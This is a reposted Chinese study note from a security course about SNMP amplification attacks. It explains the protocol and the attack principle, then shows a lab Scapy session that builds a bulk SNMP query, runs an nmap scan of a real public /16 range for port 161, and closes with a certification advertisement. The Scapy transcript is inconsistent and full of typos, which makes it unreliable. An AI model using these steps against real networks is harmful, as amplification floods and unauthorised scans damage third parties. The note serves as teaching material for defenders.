安全牛学习笔记SNMP放大攻击

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全牛学习笔记SNMP放大攻击相关的知识,希望对你有一定的参考价值。

SNMP放大攻击                                                             

简单网络管理协议                                                         

    - Simple Network Management Protocol                                  

    - 服务端口 UDP 161 / 162                                              

    - 管理站(manager/客户端)、被管理设备(agent/服务端)                

    - 管理信息数据库(MIB)是一个信息存储库吗,包含管理代理中的有关配置和

      性能的数据,按照不同分类,包含分属不同组的多个数据对象              

    - 每一个节点都有一个对象标识符(OID)来唯一的标识                     

    - IETF定义便准的MIB/厂家自定义MIB库                                 

攻击原理                                                                  

    - 请求流量小,查询结果返回流量大                                      

    - 结合伪造源地址实现攻击

技术分享

简单网络管理协议(SNMP)是一种广泛用于监测健康和网络设备(如路由器)福利协议,计算机设备甚至设备如UPS。简单网络管理协议是一套用来实现SNMP v1应用SNMP v2c和SNMP V3使用IPv4和IPv6。该套件包括:

命令行应用程序:

从一个SNMP的设备能够检索信息,使用单一的请求(snmpget,snmpgetnext),或多个请求(snmpwalk命令,snmptable,snmpdelta)。

操纵一个SNMP功能的设备配置信息(snmpset)。

获取一个固定的信息收集从一个SNMP功能的设备(snmpdf,snmpnetstat,snmpstatus)。

MIB OID数字和文本形式之间的转换,并显示MIB的内容和结构(snmptranslate)。

一个图形化的MIB浏览器(tkmib),使用TK / Perl。

一个接收SNMP通知后台应用(snmptrapd)。选择通知可以记录(日志、NT事件日志,或纯文本文件),转到另一个SNMP管理系统,或通过外部应用程序。

为响应SNMP查询信息管理一个可扩展的代理(snmpd)。这包括一个广泛的MIB信息模块的内置支持,可以使用动态加载的模块扩展,外部脚本和命令,以及SNMP复用(中)和扩展代理协议(协议)。

为开发新的SNMP应用程序库,用C和Perl APIs。

简单网络管理协议是可用于许多UNIX和类UNIX操作系统和微软Windows。注意:功能可以根据操作系统的不同而有所不同。具体到你的平台的信息请参阅自述文件。

该文档部分包含命令行工具、安装、配置等的详细信息。

如果你是新的一般网络SNMP或SNMP,那么一个好的开始是教程部分。

下载部分包含各种平台的源代码和二进制文件。

请看我们的项目开发的网页位于SourceForge以及。

开始运行“appwiz.cpl”----->添加/删除windows组件----->管理和监控工具----->简单网络管理协议(SNMP)----->完成

开始运行“services.msc”----->SNMP Service

                              SNMP Trap Service

SNMP Service 的属性(本地计算机)------>接收团体名称(添加)------>团体权限:只读;团体名称:asdasd------>接受来自这些SNMP 数据包(添加)------>1.1.1.1------>应用,确定

[email protected]:~# ifconfig

192.168.1.116

[email protected]:~# scapy

WARNING: No route found for IPv6 destination :: (no default route?)

Welcome to Scapy (2.3.2)

>>> i=IP()

>>> i.dst="192.168.1.124"

>>> i.display()

###[ IP ]###

  version = 4

  ihl = None

  tos = 0x0

  len = None

  id = 1

  flags= 

  frag= 0

  ttl = 64

  proto = tcp

  chksum = None

  src = 192.168.1.116

  dst = 192.168.1.124

>>> u=UDP

>>> u.display()

###[ UDP ]###

  sport=domain

  dport=domain

  len=None

  chksum=None

>>> u.dport=161

>>> u.sport=161

>>> s=SNMP()

>>> s.display()

###[ SNMP ]###

  version= v2c

  community= ‘public‘

  \PDU\

   |###[ SNMPget ]###

   |  id= 0

   |  error= no_error

   |  error_index= 0

   |  \varbindlist\

>>> s.community="asdasd"

###[ SNMPbulk ]###

  id= 0

  non_repeaters= 0

  max_repetitions= 0

  \varbindlist\

>>> b.max_repetitions=100

>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID(‘1.3.6.1.2.1.1‘)),SNMPvarbind(oid=ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

>>> s.displa()

###[ SNMP ]###

  version= v2c

  community= ‘asdasd‘

  \PDU\

   |###[ SNMPget ]###

   |  id= 0

   |  error= no_error

   |  error_index= 0

   |  \varbindlist\

>>> s.PDU=b

>>> s.display()

###[ SNMP ]###

  version= v2c

  community= ‘asdasd‘

  \PDU\

   |###[ SNMPbulk ]###

   |  id= 0

   |  max_repeaters= 0

   |  max_repetitions = 100

   |  \varbindlist\

   |   |###[ SNMPvarbind ]###

   |   |  oid=ASN1_OID(‘1.3.6.1.2.1.1‘)

   |   |  value= <ASNI_NULL[0]>

   |   |###[ SNMPvarbind ]###

   |   |  oid= ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

   |   |  value= <ASNI_NULL[0]>

>>> u.display()

###[ UDP ]###

  sport= snmp

  dport= snmp

  len=None

  chksum=None

>>> r=(i/u/s)

>>> r.display()

###[ IP ]###

  version = 4

  ihl = None

  tos = 0x0

  len = None

  id = 1

  flags= 

  frag= 0

  ttl = 64

  proto = tcp

  chksum = None

  src = 192.168.1.116

  dst = 192.168.1.124

###[ UDP ]###

  sport=domain

  dport=domain

  len=None

  chksum=None

###[ SNMP ]###

  version= v2c

  community= ‘asdasd‘

  \PDU\

   |###[ SNMPbulk ]###

   |  id= 0

   |  max_repeaters= 0

   |  max_repetitions = 100

   |  \varbindlist\

   |   |###[ SNMPvarbind ]###

   |   |  oid=ASN1_OID(‘1.3.6.1.2.1.1‘)

   |   |  value= <ASNI_NULL[0]>

   |   |###[ SNMPvarbind ]###

   |   |  oid= ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

   |   |  value= <ASNI_NULL[0]>

>>> sr1(r)

>>> s.display()

###[ SNMP ]###

  version= v2c

  community= ‘asdasd‘

  \PDU\

   |###[ SNMPbulk ]###

   |  id= 0

   |  max_repeaters= 0

   |  max_repetitions = 100

   |  \varbindlist\

   |   |###[ SNMPvarbind ]###

   |   |  oid=ASN1_OID(‘1.3.6.1.2.1.1‘)

   |   |  value= <ASNI_NULL[0]>

   |   |###[ SNMPvarbind ]###

   |   |  oid= ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

   |   |  value= <ASNI_NULL[0]>

>>> b.SNMPbulk()

>>> b.display()

###[ SNMPbulk ]###

  id= 0

  non_repeaters= 0

  max_repetitions= 0

  \varbindlist\

>>> b.max_petitions=200

>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID(‘1.3.6.1.2.1.1‘)),SNMPvarbind(oid=ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

>>> b.display()

###[ SNMPbulk ]###

  id= 0

  max_repeaters= 0

  max_repetitions = 100

  \varbindlist\

   |###[ SNMPvarbind ]###

   |  oid=ASN1_OID(‘1.3.6.1.2.1.1‘)

   |  value= <ASNI_NULL[0]>

   |###[ SNMPvarbind ]###

   |  oid= ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

   |  value= <ASNI_NULL[0]>

>>> s.PDU=b

>>> s.display()

###[ SNMP ]###

  version= v2c

  community= ‘asdasd‘

  \PDU\

   |###[ SNMPbulk ]###

   |  id= 0

   |  max_repeaters= 0

   |  max_repetitions = 100

   |  \varbindlist\

   |   |###[ SNMPvarbind ]###

   |   |  oid=ASN1_OID(‘1.3.6.1.2.1.1‘)

   |   |  value= <ASNI_NULL[0]>

   |   |###[ SNMPvarbind ]###

   |   |  oid= ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

   |   |  value= <ASNI_NULL[0]>

>>> r=(i/u/s)

###[ IP ]###

  version = 4

  ihl = None

  tos = 0x0

  len = None

  id = 1

  flags= 

  frag= 0

  ttl = 64

  proto = tcp

  chksum = None

  src = 192.168.1.116

  dst = 192.168.1.124

###[ UDP ]###

  sport=domain

  dport=domain

  len=None

  chksum=None

###[ SNMP ]###

  version= v2c

  community= ‘asdasd‘

  \PDU\

   |###[ SNMPbulk ]###

   |  id= 0

   |  max_repeaters= 0

   |  max_repetitions = 100

   |  \varbindlist\

   |   |###[ SNMPvarbind ]###

   |   |  oid=ASN1_OID(‘1.3.6.1.2.1.1‘)

   |   |  value= <ASNI_NULL[0]>

   |   |###[ SNMPvarbind ]###

   |   |  oid= ASNI_OID(‘1.3.6.1.2.1.19.1.3‘))]

   |   |  value= <ASNI_NULL[0]>

>>> sr1(r)

[email protected]:~# nmap -sU -p161 202.106.0.0/16

尽量不要向外网开放snmp服务

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

本文出自 “11662938” 博客,请务必保留此出处http://11672938.blog.51cto.com/11662938/1972939

以上是关于安全牛学习笔记SNMP放大攻击的主要内容,如果未能解决你的问题,请参考以下文章

安全牛学习笔记NTP放大攻击

安全牛学习笔记服务扫描

安全牛学习笔记HTTPS攻击

安全牛学习笔记WPA攻击

安全牛学习笔记Smurf攻击Sockstress

安全牛学习笔记SSLTLS中间人攻击